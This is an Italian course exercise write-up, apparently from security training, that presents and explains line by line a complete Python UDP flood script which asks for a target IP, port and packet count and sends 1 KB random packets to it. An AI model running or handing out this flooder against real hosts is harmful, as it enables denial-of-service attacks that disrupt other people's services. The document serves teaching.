

## S6/L3

L'esercizio di oggi consiste nello scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Si specifica che il programma deve fare queste richieste all'utente:

- 1) Richiesta dell'ip del target
- 2) La porta UDP del target
- 3) Il numero dei pacchetti da inviare al target

```
File Actions Edit View Help
GNU nano 8.2 UDPflood.py
import socket
import random
import sys

def udp_flood(target_ip, target_port, packet_count):
    try:
        # Creazione del socket UDP
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        print(f"Inizio dell'UDP flood verso {target_ip}:{target_port} con {packet_count} pacchetti ...")

        # Generazione di un pacchetto casuale da 1KB (1024 byte)
        packet_size = 1024
        random_packet = random._urandom(packet_size)

        for i in range(packet_count):
            sock.sendto(random_packet, (target_ip, target_port))
            if (i + 1) % 100 == 0:
                print(f"{i + 1} pacchetti inviati...")

        print("Attacco completato.")
    except Exception as e:
        print(f"Errore durante l'invio dei pacchetti: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    try:
        # Input da parte dell'utente
        target_ip = input("Inserisci l'IP del target: ").strip()
        target_port = int(input("Inserisci la porta UDP del target: ").strip())
        packet_count = int(input("Inserisci il numero di pacchetti da inviare: ").strip())

        if packet_count <= 0:
            print("Il numero di pacchetti deve essere maggiore di zero.")
            sys.exit(1)

        udp_flood(target_ip, target_port, packet_count)
    except ValueError:
        print("Errore: inserire valori numerici validi per porta e numero di pacchetti.")
    except KeyboardInterrupt:
        print("Operazione annullata dall'utente.")

[ Read 41 lines ]
```

Come prima cosa importiamo tutte le librerie di cui necessitiamo:

Socket: serve per fare la connessione Udp e gestirla.

Random: serve per generare i pacchetti casuali da inviare.

Sys: viene usata per gestire errori o interruzioni del programma.

```
def udp_flood(target_ip, target_port, packet_count):  
    try:  
        # Creazione del socket UDP  
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
        print(f"Inizio dell'UDP flood verso {target_ip}:{target_port} con {packet_count} pacchetti ...")  
  
        # Generazione di un pacchetto casuale da 1KB (1024 byte)  
        packet_size = 1024  
        random_packet = random._urandom(packet_size)
```

Nella prima riga definiamo le variabili che ci serviranno:

Target\_ip, ip del target,

Target\_port, porta del target,

Packet\_count, n. pacchetti da inviare.

Dopo c'è la riga della creazione del socket dove il primo (.AF\_INET) indica che usiamo un indirizzo IPv4 mentre il secondo (SOCK\_DGRAM) indica che i pacchetti sono Udp.

Poi il printf stampa un messaggio che dice che l'attacco è iniziato.

Il packet\_size invece genera un pacchetto casuale, il primo specifica la grandezza di ogni pacchetto mentre il secondo genera un array da 1024 byte che simula il messaggio Udp.

```
        for i in range(packet_count):  
            sock.sendto(random_packet, (target_ip, target_port))  
            if (i + 1) % 100 == 0:  
                print(f"{i + 1} pacchetti inviati ...")  
  
            print("Attacco completato.")  
        except Exception as e:  
            print(f"Errore durante l'invio dei pacchetti: {e}")  
        finally:  
            sock.close()
```

Qua invece avviene l'invio dei pacchetti tramite un ciclo for che esegue un loop fino al numero di pacchetti scelto, inoltre ogni 100 pacchetti stampa un messaggio con il numero di pacchetti inviati.

In caso di errore o di target non raggiungibile viene stampata la scritta "errore durante l'invio dei pacchetti".

Il "sock.close" serve per chiudere il socket una volta finito.

```

# Input da parte dell'utente
target_ip = input("Inserisci l'IP del target: ").strip()
target_port = int(input("Inserisci la porta UDP del target: ").strip())
packet_count = int(input("Inserisci il numero di pacchetti da inviare: ").strip())

if packet_count <= 0:
    print("Il numero di pacchetti deve essere maggiore di zero.")
    sys.exit(1)

```

Qua invece abbiamo gli input da parte dell'utente mentre sotto c'è il controllo che l'input del numero dei pacchetti è maggiore di 0.

```

udp_flood(target_ip, target_port, packet_count)
except ValueError:
    print("Errore: inserire valori numerici validi per porta e numero di pacchetti.")
except KeyboardInterrupt:
    print("Operazione annullata dall'utente.")

```

Mentre l'ultima parte serve sempre in caso l'utente inserisca un numero di porta o di pacchetti non valido o in caso interrompa il processo prima che finisca.